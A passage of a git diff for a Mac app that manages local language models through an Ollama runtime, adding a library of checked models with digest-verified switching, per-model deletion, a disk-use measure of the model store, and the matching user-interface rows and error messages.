(!entry) { + return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotInLibrary } }; + } + if (state.state === 'installed' && state.model?.id === entry.id) return conflict('already-installed'); + const open = this.sessionsOpen(state, liveSessionNames); + if (open) return open; + + // The coding agent of the switch: the one this model was checked with, else the one of + // the state, whichever is on this Mac now. A job that stopped while it installed another + // agent leaves the state naming one that may not be there. + const agents = [entry.cli, state.cli].filter( + (cli, index, all): cli is { id: string; label: string } => + cli !== undefined && all.findIndex((other) => other?.id === cli.id) === index + ); + let cli: { id: string; label: string } | undefined; + for (const agent of agents) { + if (await this.deps.recheckCliInstalled(agent.id).catch(() => false)) { + cli = agent; + break; + } + } + if (!cli) { + return { + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentMissing, vars: { cli: agents[0]?.label ?? '' } }, + }; + } + + const refused = await this.beginJob(actor, { + type: 'use', + model: { id: entry.id, label: entry.label, context: entry.context, digest: entry.digest }, + cli, + }); + if (refused) return refused; + this.forgetStore(); + void this.deps + .audit({ + admin: actor.username, + action: 'local_model_use', + target: entry.id, + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { cli: cli.id, context: entry.context }, + }) + .catch(() => {}); + return this.answer(); + }); + } + + deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise { + return this.exclusive(async () => { + await this.settle(); + const state = await this.currentState(); + if (state.state === 'installing') return conflict('job-running'); + if (!INSTALL_STATE_TABLE[state.state].actions.includes('delete-model') || !state.runtime) { + return conflict('wrong-state'); + } + const id = request.modelId; + // Never a path, and never another registry's name: the same shape a catalogue id has. + if (!LOCAL_MODEL_ID_PATTERN.test(id)) { + return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotOnThisMac } }; + } + const entry = libraryOf(state).find((candidate) => candidate.id === id); + if (state.model?.id === id) return conflict('model-active', {}, { model: state.model.label }); + + // Only the runtime deletes a model, and only its answer says what is on disk. + const target = baseUrlOf(state.runtime.port); + let version: string | undefined; + if (this.deps.supervisor.status().running) { + try { + version = await this.deps.getRuntimeVersion(target, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS)); + } catch { + version = undefined; + } + } + if (version === undefined) return conflict('runtime-not-running'); + const listed = (await this.deps.listTags(target, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS))).find( + (model) => model.name === id + ); + if (!entry && !listed) { + return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotOnThisMac } }; + } + // Asked of the runtime also for a checked model it did not list just now: its answer + // (deleted, or "not found") is what says the model is gone, never an empty listing. + let gone = false; + try { + gone = await this.deps.deleteModel(target, id, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS)); + } catch { + gone = false; + } + if (!gone) { + return { + ok: false, + status: 500, + message: { text: LOCAL_MODEL_INSTALL_LABELS.deleteFailed, vars: { model: entry?.label ?? id } }, + }; + } + if (entry) { + await this.record((current) => { + const library = libraryOf(current).filter((candidate) => candidate.id !== id); + return { ...current, library }; + }); + } + this.forgetStore(); + if (actor) { + void this.deps + .audit({ + admin: actor.username, + action: 'local_model_delete', + target: id, + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { verified: entry !== undefined, bytes: listed?.size ?? entry?.bytes ?? 0 }, + }) + .catch(() => {}); + } + return this.answer(); + }); + } + /** - * Writes the event that starts a job (`install` or `resume`) and starts the job. `undefined`: + * Writes the event that starts a job (`install`, `use` or `resume`) and starts the job. `undefined`: * started. A state file that cannot be written for lack of space is not a 500: the job did * not start, and the view says `disk-full` with its "Try again" (a first install, which has * no job to show it on, is answered with that sentence). */ private async beginJob( actor: LocalModelActor, - event: Extract + event: Extract ): Promise { this.jobStarting = true; try { @@ -1700,6 +2238,7 @@ class LocalModelServiceImpl implements LocalModelService { }); this.portInUse = false; this.startFailed = undefined; + this.forgetStore(); await this.record((current) => current.runtime ? { ...current, runtime: { ...current.runtime, enabled: false } } : undefined ); @@ -1721,6 +2260,7 @@ class LocalModelServiceImpl implements LocalModelService { state = await this.deps.readState(); const started = await this.startRuntime(state); if (started.ok) await this.refreshDigest(await this.deps.readState()); + this.forgetStore(); return this.answer(); }); } @@ -1755,6 +2295,7 @@ class LocalModelServiceImpl implements LocalModelService { this.portInUse = false; this.startFailed = undefined; this.digestStatus = undefined; + this.forgetStore(); if (actor) { void this.deps .audit({ @@ -1868,6 +2409,8 @@ class LocalModelServiceImpl implements LocalModelService { // A step that finished stays finished, also when Cancel arrived while it ran. Its // download figures go first, so the next step is never shown with them. this.clearProgress(); + // A model arrived, was checked or was connected: the library is read again. + this.forgetStore(); await this.dispatch({ type: 'step-done' }); continue; } @@ -1992,28 +2535,8 @@ class LocalModelServiceImpl implements LocalModelService { if (!running.runtime) return { kind: 'fail', code: 'internal', detail: 'The runtime has no port.' }; const target = baseUrlOf(running.runtime.port); - // What a replaced job left of another model goes first, so two models never share the store. - if (running.replacedModelId) { - try { - await this.deps.deleteModel(target, running.replacedModelId, signal); - } catch { - /* a leftover is not a reason to stop: Remove with the models deletes it */ - } - if (signal.aborted) return CANCELLED; - // A download that was interrupted left partial blobs and no model: the runtime answers - // "not found" for it and deletes nothing. No download is in flight here, so every - // partial file in the store is a dead one. - try { - const freed = await this.deps.removePartialModelBlobs(this.paths()); - if (freed > 0) console.log(`[local-model] Deleted ${formatGb(freed)} GB a replaced download had left.`); - } catch { - /* as above */ - } - await this.record((current) => { - const { replacedModelId: _replaced, ...rest } = current; - return rest; - }); - } + // What a replaced job left of another model goes first, so no unchecked leftover stays in the store. + if (await this.dropReplacedModel(running, target, signal)) return CANCELLED; const pulled = await this.deps.pullModel(target, state.model.id, { signal, @@ -2047,6 +2570,40 @@ class LocalModelServiceImpl implements LocalModelService { return DONE; } + /** + * Deletes what a replaced job left of ANOTHER model (`replacedModelId`): the model through + * the runtime when it was downloaded whole, and the partial blobs of an interrupted download. + * A no-op without one. True when the job was cancelled meanwhile. + */ + private async dropReplacedModel( + running: LocalModelStateFile, + target: OllamaTarget, + signal: AbortSignal + ): Promise { + if (!running.replacedModelId) return false; + try { + await this.deps.deleteModel(target, running.replacedModelId, signal); + } catch { + /* a leftover is not a reason to stop: Remove with the models deletes it */ + } + if (signal.aborted) return true; + // A download that was interrupted left partial blobs and no model: the runtime answers + // "not found" for it and deletes nothing. No download is in flight here, so every + // partial file in the store is a dead one. + try { + const freed = await this.deps.removePartialModelBlobs(this.paths()); + if (freed > 0) console.log(`[local-model] Deleted ${formatGb(freed)} GB a replaced download had left.`); + } catch { + /* as above */ + } + await this.record((current) => { + const { replacedModelId: _replaced, ...rest } = current; + return rest; + }); + this.forgetStore(); + return false; + } + private async stepVerify(state: LocalModelStateFile, signal: AbortSignal): Promise { if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; const blocked = await this.needRuntime(signal); @@ -2056,6 +2613,26 @@ class LocalModelServiceImpl implements LocalModelService { const target = baseUrlOf(running.runtime.port); const { id, context } = state.model; + // A switch has no download step, so the leftovers of the job it replaced go here. + if (await this.dropReplacedModel(running, target, signal)) return CANCELLED; + + // A switch names the digest the model was checked with (`use`). Another one under the + // same name is other weights or another template: it is not loaded, let alone connected. + const expected = state.model.digest; + if (expected) { + const before = await this.deps.readModelDigest(target, id, signal); + if (signal.aborted) return CANCELLED; + if (compareModelDigest(expected, before) !== 'same') { + return { + kind: 'fail', + code: 'model-changed', + detail: before + ? 'The runtime reports another digest for the model.' + : 'The runtime no longer lists the model.', + }; + } + } + const verified = await this.deps.verifyModel(target, id, context, signal); if (!verified.ok) { if (verified.code === 'cancelled') return CANCELLED; @@ -2098,10 +2675,46 @@ class LocalModelServiceImpl implements LocalModelService { detail: 'The runtime reports no digest for the model.', }; } + if (expected && compareModelDigest(expected, digest) !== 'same') { + return { kind: 'fail', code: 'model-changed', detail: 'The runtime reports another digest for the model.' }; + } const loaded = verified.loaded; - await this.record((current) => - current.model ? { ...current, model: { ...current.model, digest }, loaded: { ...loaded } } : undefined - ); + // The model is one of the library from here on: checked, with the digest a later switch + // must find again, its size on disk and the coding agent of this job. + let bytes: number | undefined; + try { + bytes = (await this.deps.listTags(target, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS))).find( + (model) => model.name === id + )?.size; + } catch { + bytes = undefined; + } + let verifiedAt: string | undefined; + try { + verifiedAt = new Date(this.deps.now()).toISOString(); + } catch { + verifiedAt = undefined; + } + await this.record((current) => { + if (!current.model) return undefined; + const known = (current.library ?? []).find((entry) => entry.id === id); + const size = bytes && bytes > 0 ? bytes : (current.model.pullBytes ?? known?.bytes); + const entry: LocalModelLibraryEntry = { + id, + label: current.model.label, + context, + digest, + ...(size ? { bytes: size } : {}), + ...(current.cli ? { cli: current.cli } : {}), + ...(verifiedAt ? { verifiedAt } : {}), + }; + return { + ...current, + model: { ...current.model, digest }, + loaded: { ...loaded }, + library: upsertLibraryEntry(current.library ?? [], entry), + }; + }); this.digestStatus = 'same'; this.digestCheckedAt = this.deps.now(); return DONE; diff --git a/src/local-model/runtime.ts b/src/local-model/runtime.ts index eaf281d5a..c7e313452 100644 --- a/src/local-model/runtime.ts +++ b/src/local-model/runtime.ts @@ -808,6 +808,45 @@ export async function removePartialModelBlobs(paths?: LocalModelPaths): Promise< return freed; } +/** How many files of the blob folder are counted at most: a store holds a few dozen, and a walk must end. */ +const STORE_MEASURE_MAX_FILES = 20_000; + +/** + * What the model store takes on disk: the sizes of the regular files directly in + * `/blobs`, summed. That folder is flat (one file per layer, plus the partial files of + * a download), so this is the store's real disk use, shared layers counted once, an + * interrupted download included. The manifests beside it are a few kilobytes and are left out. + * + * One `readdir` and one `lstat` per file, at most `STORE_MEASURE_MAX_FILES` of them. Nothing is + * followed: a `root`, a model store or a blob folder that is a symbolic link counts as empty, + * and so does a link in the place of a file. Never outside `LocalModelPaths.root`. Resolves 0 + * when there is no store. Never throws. + */ +export async function measureModelStore(paths?: LocalModelPaths): Promise { + let total = 0; + try { + const resolved = paths ?? localModelPaths(OLLAMA_RUNTIME_PIN.version); + const blobs = join(resolved.modelsDir, 'blobs'); + if (!isInsideLocalModelRoot(blobs, resolved.root)) return 0; + for (const folder of [resolved.root, resolved.modelsDir, blobs]) { + const info = await lstat(folder); + if (info.isSymbolicLink() || !info.isDirectory()) return 0; + } + const names = await readdir(blobs); + for (const name of names.slice(0, STORE_MEASURE_MAX_FILES)) { + try { + const info = await lstat(join(blobs, name)); + if (info.isFile()) total += info.size; + } catch { + // Gone between the listing and the look: a download or a delete is under way. + } + } + } catch { + // No model store yet. + } + return total; +} + // ---------- Port ---------- /** Whether nothing holds `port` on 127.0.0.1, decided by binding it and letting go again. */ diff --git a/src/local-model/state-store.ts b/src/local-model/state-store.ts index 434a686ea..d184ff6f8 100644 --- a/src/local-model/state-store.ts +++ b/src/local-model/state-store.ts @@ -26,6 +26,7 @@ import { type LocalModelErrorCode, type LocalModelInstallState, type LocalModelInstallStep, + type LocalModelLibraryEntry, type LocalModelStateFile, } from '../types.js'; import { OLLAMA_RUNTIME_PIN } from './runtime.js'; @@ -153,6 +154,41 @@ function parseConnection(value: unknown): LocalModelStateFile['connection'] { : undefined; } +/** How many checked models a state file may list: far more than one Mac holds, and a bound on what a damaged file can cost. */ +const MAX_LIBRARY_ENTRIES = 64; + +/** + * The checked models of a file. An entry without its id, label, context or digest is dropped + * (it could never be switched to), and so is a second entry for an id. `undefined` for a file + * that has no list, which is what an earlier build wrote. + */ +function parseLibrary(value: unknown): LocalModelLibraryEntry[] | undefined { + if (!Array.isArray(value)) return undefined; + const entries: LocalModelLibraryEntry[] = []; + for (const item of value) { + if (entries.length >= MAX_LIBRARY_ENTRIES) break; + if (!isRecord(item)) continue; + const id = text(item.id, 200); + const label = text(item.label, 200); + const context = count(item.context); + const digest = text(item.digest, 200); + if (!id || !label || !context || !digest || entries.some((entry) => entry.id === id)) continue; + const bytes = count(item.bytes); + const cli = parseCli(item.cli); + const verifiedAt = text(item.verifiedAt, 64); + entries.push({ + id, + label, + context, + digest, + ...(bytes ? { bytes } : {}), + ...(cli ? { cli } : {}), + ...(verifiedAt ? { verifiedAt } : {}), + }); + } + return entries; +} + /** * The state a file's text stands for. Pure and total: text that is not a JSON object of * `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are @@ -180,6 +216,7 @@ export function parseLocalModelState(raw: string): LocalModelStateFile { const connection = parseConnection(parsed.connection); const updatedAt = text(parsed.updatedAt, 64); const replacedModelId = text(parsed.replacedModelId, 200); + const library = parseLibrary(parsed.library); if (!model || !cli) return IDLE_LOCAL_MODEL_STATE; if (state === 'installed') { @@ -192,6 +229,7 @@ export function parseLocalModelState(raw: string): LocalModelStateFile { cli, runtime, ...(loaded ? { loaded } : {}), + ...(library ? { library } : {}), ...(connection ? { connection } : {}), ...(updatedAt ? { updatedAt } : {}), }; @@ -215,6 +253,7 @@ export function parseLocalModelState(raw: string): LocalModelStateFile { ...(runtime ? { runtime } : {}), ...(progress ? { progress } : {}), ...(loaded ? { loaded } : {}), + ...(library ? { library } : {}), ...(connection ? { connection } : {}), ...(replacedModelId ? { replacedModelId } : {}), ...(updatedAt ? { updatedAt } : {}), diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts index 2fdd8f2bc..6ac649a5c 100644 --- a/src/types/local-model-install.ts +++ b/src/types/local-model-install.ts @@ -24,7 +24,11 @@ * | `GET /api/local-model` | none | none (a failed probe is an answer) | * | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers, or a saved endpoint | * | | | already has the reserved id; 409 `job-running`, | - * | | | `already-installed`, `size-changed` | + * | | | `already-installed` (this model at this context is | + * | | | the one in use), `size-changed`, `sessions-open` | + * | `POST /api/local-model/use` | `LocalModelUseRequest` | 400 not a checked model of the library, or no coding | + * | | | agent for it is installed; 409 `job-running`, | + * | | | `wrong-state`, `already-installed`, `sessions-open` | * | `POST /api/local-model/cancel` | none | 409 `wrong-state` (no job is running) | * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `job-running`, `wrong-state` (not paused or | * | | | failed), `sessions-open` (another port while live | @@ -33,6 +37,9 @@ * | | | `sessions-open` (stop, or another port, while live | * | | | sessions use the model) | * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | 409 `job-running`, `sessions-open` | + * | `DELETE /api/local-model/models` | `LocalModelDeleteRequest` | 400 not a model of this Mac; 409 `job-running`, | + * | | | `wrong-state`, `model-active`, `runtime-not-running`; | + * | | | 500 the runtime did not delete it | * * A 409 is the error envelope plus `data: LocalModelConflict`: * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409 @@ -141,7 +148,10 @@ export const LOCAL_MODEL_INSTALL_STEPS: readonly LocalModelInstallStep[] = [ * | `harness-failed` | the coding agent's install command failed, or its binary is still missing | * | `endpoint-id-taken` | a saved endpoint with our id exists that this feature did not write | * | `connect-failed` | the endpoint record or the settings flag could not be written | - * | `model-changed` | installed: the model's digest is not the one stored at install time | + * | `model-changed` | installed: the model's digest is not the one stored at install time. A | + * | | switch: the model's digest is not the one it was checked with | + * | `job-unfinished` | a job that changes the model in use is running or stopped. Only a | + * | | refused session start says it: nothing is started until the job ended | * | `internal` | anything unexpected (the exception text is in `detail`) | */ export type LocalModelErrorCode = @@ -164,6 +174,7 @@ export type LocalModelErrorCode = | 'endpoint-id-taken' | 'connect-failed' | 'model-changed' + | 'job-unfinished' | 'internal'; /** @@ -192,12 +203,25 @@ export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start' * - `cancel`: `POST /api/local-model/cancel`. * - `resume`: `POST /api/local-model/resume`. * - `start` and `stop`: `POST /api/local-model/runtime`. - * - `remove`: `DELETE /api/local-model`. + * - `remove`: `DELETE /api/local-model`. In `idle` it is listed only while the model store + * still holds something (models an earlier Remove kept): it is then what frees that space. * - `start-session`: not a route of this feature: the window starts a session on the endpoint * `endpointId` with the coding agent `cli`. Offered only while the runtime runs and nothing * blocks a session. + * - `use`: `POST /api/local-model/use`. Listed only while a row of `library` offers it. + * - `delete-model`: `DELETE /api/local-model/models`. Listed only while a row of `library` + * offers it. */ -export type LocalModelAction = 'install' | 'cancel' | 'resume' | 'start' | 'stop' | 'remove' | 'start-session'; +export type LocalModelAction = + | 'install' + | 'cancel' + | 'resume' + | 'start' + | 'stop' + | 'remove' + | 'start-session' + | 'use' + | 'delete-model'; /** Whether the Mac has the developer tools (git, Python) a coding agent calls. */ export type LocalModelDeveloperTools = @@ -225,7 +249,9 @@ export type LocalModelDeveloperTools = * | `errHarnessFailed` | `cli`: the coding agent's label | * | `errEndpointIdTaken` | `id`: the endpoint id this feature uses | * | `refusedAgentNotInstallable` | `cli`: the coding agent's label | - * | `refusedOtherModel` | `model`: the label of the model that is installed | + * | `refusedOtherModel` | `model`: the label of the model that is in use | + * | `refusedAgentMissing` | `cli`: the coding agent's label | + * | `conflictModelActive`, `deleteFailed` | `model`: the model's label | * | `conflictSizeChanged` | `size`: the server's own total as decimal GB | * | `conflictSessionsOpen` | `sessions`: the session names, joined with ', ' | * @@ -259,16 +285,23 @@ export const LOCAL_MODEL_INSTALL_LABELS = { 'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.', errConnectFailed: 'Codeman could not save the connection to the model.', errModelChanged: 'The model on this Mac changed since it was installed. Remove it and install it again.', + errJobUnfinished: + 'The model on this Mac is being changed and is not ready. Finish or undo that in the local model window first.', errInternal: 'The install stopped on an unexpected error.', conflictJobRunning: 'An install is already running.', - conflictAlreadyInstalled: 'A model is already installed on this Mac. Remove it first.', + conflictAlreadyInstalled: 'This model is already in use on this Mac.', + conflictModelActive: '{model} is the model in use. Switch to another model first, or remove the local model.', conflictSizeChanged: 'The download is {size} GB now. Check the sizes and confirm again.', conflictSessionsOpen: 'Sessions are still using this model: {sessions}. Close them first.', conflictWrongState: 'That is not possible in the current state.', refusedModelNotOffered: 'This model at this context is not offered for this Mac right now.', refusedAgentNotOffered: 'This coding agent is not offered for this model.', refusedAgentNotInstallable: '{cli} is not installed and cannot be installed from here.', - refusedOtherModel: 'Only {model} is installed on this Mac. Remove it and install another model first.', + refusedOtherModel: 'Only {model} is in use on this Mac. Switch models in the local model window first.', + refusedNotInLibrary: 'This model is not one of the checked models on this Mac.', + refusedNotOnThisMac: 'This model is not on this Mac.', + deleteFailed: '{model} could not be deleted from this Mac.', + refusedAgentMissing: '{cli} is not installed on this Mac. Install this model again to choose a coding agent.', endpointManaged: 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.', endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.', @@ -307,6 +340,7 @@ export const LOCAL_MODEL_ERROR_LABELS: Record 0 && !steps.includes('model'); +} + +/** The rows of `install.library`: the models on this Mac. A payload without the list has none. */ +function localModelLibrary(install) { + return (Array.isArray(install.library) ? install.library : []).filter((row) => row && typeof row.id === 'string'); +} + +/** What a library row's state is called, and the tag class that colours it. */ +function localModelLibraryTag(row) { + if (row.active === true) return { text: localModelT('In use'), kind: 'inuse' }; + if (row.status === 'ready') return { text: localModelT('Ready'), kind: 'ready' }; + if (row.status === 'changed') return { text: localModelT('Changed'), kind: 'changed' }; + if (row.status === 'missing') return { text: localModelT('Missing'), kind: 'missing' }; + return { text: localModelT('Not checked'), kind: 'unverified' }; +} + /** * The coding agents a row can run with. A payload without the list means the one agent of the * row's flat fields. @@ -516,6 +554,11 @@ Object.assign(CodemanApp.prototype, { /** The Remove question is open, and whether the downloaded model goes too. */ confirmRemove: false, removeModel: true, + /** + * The Delete question of one row is open: that row's model id, or `LOCAL_MODEL_STORE_KEY` + * for the downloaded models an earlier Remove kept. + */ + confirmDelete: null, /** * The install finished while this window was open: the screen that ends it shows * "Start a session" alone. Stop and Remove belong to the window opened later. @@ -543,9 +586,10 @@ Object.assign(CodemanApp.prototype, { const install = localModelInstall(this._localModelStatus); const selection = this._localModelSelection(); if (install.state === 'installing') return 'progress'; - if (install.state === 'installed') return 'installed'; const canInstall = install.actions.includes('install') && !!selection; + // The chooser is also where a second model is added to an installed one. if (canInstall && (ui.view === 'choose' || ui.view === 'confirm')) return ui.view; + if (install.state === 'installed') return 'installed'; if (install.state === 'paused') return 'paused'; if (install.state === 'failed') return 'failed'; return selection ? 'choose' : 'none'; @@ -572,6 +616,7 @@ Object.assign(CodemanApp.prototype, { notice: null, expected: null, confirmRemove: false, + confirmDelete: null, justInstalled: false, }); this._forgetLocalModelPaint(); @@ -690,10 +735,10 @@ Object.assign(CodemanApp.prototype, { this.renderLocalModel(); }, - /** Back to the chooser (from the confirm screen, or to pick another model after a stop). */ + /** Back to the chooser (from the confirm screen, to pick another model after a stop, or to add one). */ chooseLocalModel(modelId) { const ui = this._localModelWindowState(); - Object.assign(ui, { view: 'choose', notice: null, expected: null, confirmRemove: false }); + Object.assign(ui, { view: 'choose', notice: null, expected: null, confirmRemove: false, confirmDelete: null }); if (typeof modelId === 'string') { ui.modelId = modelId; ui.cli = null; @@ -749,6 +794,57 @@ Object.assign(CodemanApp.prototype, { this.renderLocalModel(); }, + /** + * "Use": switch to a model that is on this Mac already. Nothing is downloaded, so there is + * no confirm screen: the server loads and checks the model again and connects it. + */ + async useLocalModel(modelId) { + const ui = this._localModelWindowState(); + ui.confirmDelete = null; + const result = await this._localModelVerb('POST', '/api/local-model/use', { modelId }); + // Started, or refused with the server's sentence: either way the state's own screen says it. + if (result.ok || result.conflict) ui.view = 'auto'; + this.renderLocalModel(); + }, + + /** "Delete" of one row: first the question in the row, then (with `confirmed`) the delete. */ + async deleteLocalModelEntry(modelId, { confirmed = false } = {}) { + const ui = this._localModelWindowState(); + if (!confirmed) { + Object.assign(ui, { confirmDelete: modelId, confirmRemove: false, notice: null }); + this.renderLocalModel(); + // On the safe answer, whatever had the focus (a click does not move it in every browser). + this._focusLocalModelWindow('delete-no'); + return; + } + await this._localModelVerb('DELETE', '/api/local-model/models', { modelId }); + ui.confirmDelete = null; + this.renderLocalModel(); + }, + + /** "Delete them": the downloaded models an earlier Remove kept, while nothing is installed. */ + async deleteLocalModelStore({ confirmed = false } = {}) { + const ui = this._localModelWindowState(); + if (!confirmed) { + Object.assign(ui, { confirmDelete: LOCAL_MODEL_STORE_KEY, notice: null }); + this.renderLocalModel(); + this._focusLocalModelWindow('delete-no'); + return; + } + await this._localModelVerb('DELETE', '/api/local-model', { removeModel: true }); + ui.confirmDelete = null; + this.renderLocalModel(); + }, + + /** Leave a Delete question without deleting. The focus goes back to the button that asked. */ + keepLocalModelEntry() { + const ui = this._localModelWindowState(); + const asked = ui.confirmDelete; + Object.assign(ui, { confirmDelete: null, notice: null }); + this.renderLocalModel(); + if (asked) this._focusLocalModelWindow(asked === LOCAL_MODEL_STORE_KEY ? 'store-delete' : `delete:${asked}`); + }, + cancelLocalModelInstall() { return this._localModelVerb('POST', '/api/local-model/cancel'); }, @@ -767,7 +863,7 @@ Object.assign(CodemanApp.prototype, { async removeLocalModel({ confirmed = false } = {}) { const ui = this._localModelWindowState(); if (!confirmed) { - Object.assign(ui, { confirmRemove: true, notice: null }); + Object.assign(ui, { confirmRemove: true, confirmDelete: null, notice: null }); this.renderLocalModel(); return; } @@ -829,9 +925,20 @@ Object.assign(CodemanApp.prototype, { const status = this._localModelStatus; const install = localModelInstall(status); const model = install.model ? String(install.model.label || install.model.id || '') : ''; - if (install.state === 'installing') return localModelT('Installing {model}', { model }); - if (install.state === 'paused') return localModelT('The install of {model} is paused', { model }); - if (install.state === 'failed') return localModelT('The install of {model} stopped', { model }); + const switching = localModelIsSwitch(install); + if (install.state === 'installing') { + return switching ? localModelT('Switching to {model}', { model }) : localModelT('Installing {model}', { model }); + } + if (install.state === 'paused') { + return switching + ? localModelT('The switch to {model} is paused', { model }) + : localModelT('The install of {model} is paused', { model }); + } + if (install.state === 'failed') { + return switching + ? localModelT('The switch to {model} stopped', { model }) + : localModelT('The install of {model} stopped', { model }); + } if (install.state === 'installed') { if (install.running) return localModelT('{model} is running', { model }); return localModelT('{model} is installed and stopped', { model }); @@ -917,6 +1024,8 @@ Object.assign(CodemanApp.prototype, { foot && tail && tail.classList && (tail.classList.contains('lm-foot') || tail.classList.contains('lm-remove')); body.dataset.screen = screen; body.replaceChildren(...(actions ? parts.slice(0, -1) : parts)); + // A screen that carries the list of models starts at the top and scrolls (see styles.css). + body.dataset.long = body.querySelector('.lm-library') ? 'true' : 'false'; if (foot) foot.replaceChildren(...(actions ? [tail] : [])); body.scrollTop = scrolled; this._settleLocalModelBars(body); @@ -1031,6 +1140,12 @@ Object.assign(CodemanApp.prototype, { tag.classList.add(`lm-tag-${candidate.tag.kind}`); tagSlot.appendChild(tag); } + // Already on this Mac: choosing it switches to it, and nothing is downloaded. + if (candidate.library === 'active') { + tagSlot.appendChild(localModelEl('span', 'lm-tag lm-tag-inuse', localModelT('In use'))); + } else if (candidate.library === 'ready') { + tagSlot.appendChild(localModelEl('span', 'lm-tag lm-tag-ready', localModelT('On this Mac'))); + } row.appendChild(tagSlot); const speed = localModelEl('span', 'lm-model-speed', localModelSpeedText(candidate)); const gauge = localModelEl( @@ -1153,6 +1268,10 @@ Object.assign(CodemanApp.prototype, { if (hints.length) runs.appendChild(localModelEl('span', 'lm-runs-hint', hints.join(' '))); parts.push(runs); + // Nothing is installed, and an earlier Remove kept its downloads: what they take, and the way to free it. + const leftovers = this._localModelStoreEl(install); + if (leftovers) parts.push(leftovers); + const notice = this._localModelNoticeEl(); if (notice) parts.push(notice); @@ -1160,13 +1279,25 @@ Object.assign(CodemanApp.prototype, { const promise = localModelT('No account and no API key. The model runs only on this Mac.'); foot.appendChild(localModelEl('p', 'lm-foot-note', promise)); const buttons = localModelEl('div', 'lm-buttons'); - // Reached from a paused or stopped install: the way back to it. + // Reached from a paused or stopped install, or from an installed model: the way back to it. if (install.state !== 'idle') { buttons.appendChild( localModelButton(localModelT('Back'), { key: 'back', onClick: () => this.leaveLocalModelChooser() }) ); } - if (install.actions.includes('install')) { + if (candidate.library === 'active') { + // The model that runs now: nothing to do with it here. + buttons.appendChild(localModelButton(localModelT('In use'), { key: 'primary', primary: true, disabled: true })); + } else if (candidate.library === 'ready' && install.actions.includes('use')) { + buttons.appendChild( + localModelButton(localModelT('Use this model'), { + key: 'primary', + primary: true, + disabled: ui.busy, + onClick: () => void this.useLocalModel(candidate.modelId), + }) + ); + } else if (install.actions.includes('install')) { buttons.appendChild( localModelButton(localModelT('Install on this Mac'), { key: 'primary', @@ -1181,6 +1312,189 @@ Object.assign(CodemanApp.prototype, { return parts; }, + /** + * The models on this Mac: one row per model of `install.library` with its name, the context + * it was checked with, its state, its size on disk and what the server offers for it. A row + * whose Delete was pressed is followed by the question, once, in place. `null` when there is + * no row, or (with `onlyWithActions`, for a paused or failed job) no row offers anything. + */ + _localModelLibraryEl(install, { onlyWithActions = false } = {}) { + const ui = this._localModelWindowState(); + const rows = localModelLibrary(install); + const offers = (row, action) => Array.isArray(row.actions) && row.actions.includes(action); + if (!rows.length) return null; + if (onlyWithActions && !rows.some((row) => offers(row, 'use') || offers(row, 'delete'))) return null; + + const section = localModelEl('div', 'lm-library'); + const list = localModelEl('div', 'lm-lib-list'); + list.setAttribute('role', 'list'); + list.setAttribute('aria-labelledby', 'localModelLibraryLabel'); + const caption = localModelEl('div', 'lm-lib-caption'); + const label = localModelEl('span', 'lm-lib-caption-label', localModelT('Models on this Mac')); + label.id = 'localModelLibraryLabel'; + caption.appendChild(label); + caption.appendChild(localModelEl('span', 'lm-lib-caption-size', localModelT('On disk'))); + list.appendChild(caption); + + for (const row of rows) { + const name = String(row.label || row.id); + const item = localModelEl('div', row.active === true ? 'lm-lib-row lm-lib-row-on' : 'lm-lib-row'); + item.setAttribute('role', 'listitem'); + const what = localModelEl('div', 'lm-lib-name'); + what.appendChild(localModelEl('span', 'lm-lib-label', name)); + if (Number.isFinite(row.context)) { + what.appendChild( + localModelEl( + 'span', + 'lm-lib-meta', + localModelT('{context} tokens', { context: localModelCount(row.context) }) + ) + ); + } + item.appendChild(what); + const tag = localModelLibraryTag(row); + const tagSlot = localModelEl('span', 'lm-lib-tag'); + tagSlot.appendChild(localModelEl('span', `lm-tag lm-tag-${tag.kind}`, tag.text)); + item.appendChild(tagSlot); + item.appendChild(localModelEl('span', 'lm-lib-size', row.sizeGb ? localModelGb(row.sizeGb) : '')); + + const asking = ui.confirmDelete === row.id && offers(row, 'delete'); + const actions = localModelEl('span', 'lm-lib-actions'); + // While the row's question is open its buttons keep their place and are out of reach, + // so the column of sizes does not move when the question opens. + if (asking) { + actions.classList.add('lm-lib-actions-away'); + actions.setAttribute('aria-hidden', 'true'); + } + if (offers(row, 'use')) { + const use = localModelButton(localModelT('Use'), { + key: `use:${row.id}`, + disabled: ui.busy || asking, + onClick: () => void this.useLocalModel(row.id), + }); + use.classList.add('lm-btn-row'); + use.setAttribute('aria-label', localModelT('Use {model}', { model: name })); + actions.appendChild(use); + } + if (offers(row, 'delete')) { + const remove = localModelButton(localModelT('Delete'), { + key: `delete:${row.id}`, + disabled: ui.busy || asking, + onClick: () => void this.deleteLocalModelEntry(row.id), + }); + remove.classList.add('lm-btn-row'); + remove.setAttribute('aria-label', localModelT('Delete {model}', { model: name })); + actions.appendChild(remove); + } + item.appendChild(actions); + list.appendChild(item); + + if (asking) { + list.appendChild( + this._localModelAskEl({ + question: localModelT('Delete {model} from this Mac?', { model: name }), + detail: row.sizeGb ? localModelT('This frees {size} GB.', { size: row.sizeGb }) : '', + onYes: () => void this.deleteLocalModelEntry(row.id, { confirmed: true }), + }) + ); + } + } + section.appendChild(list); + + const foot = 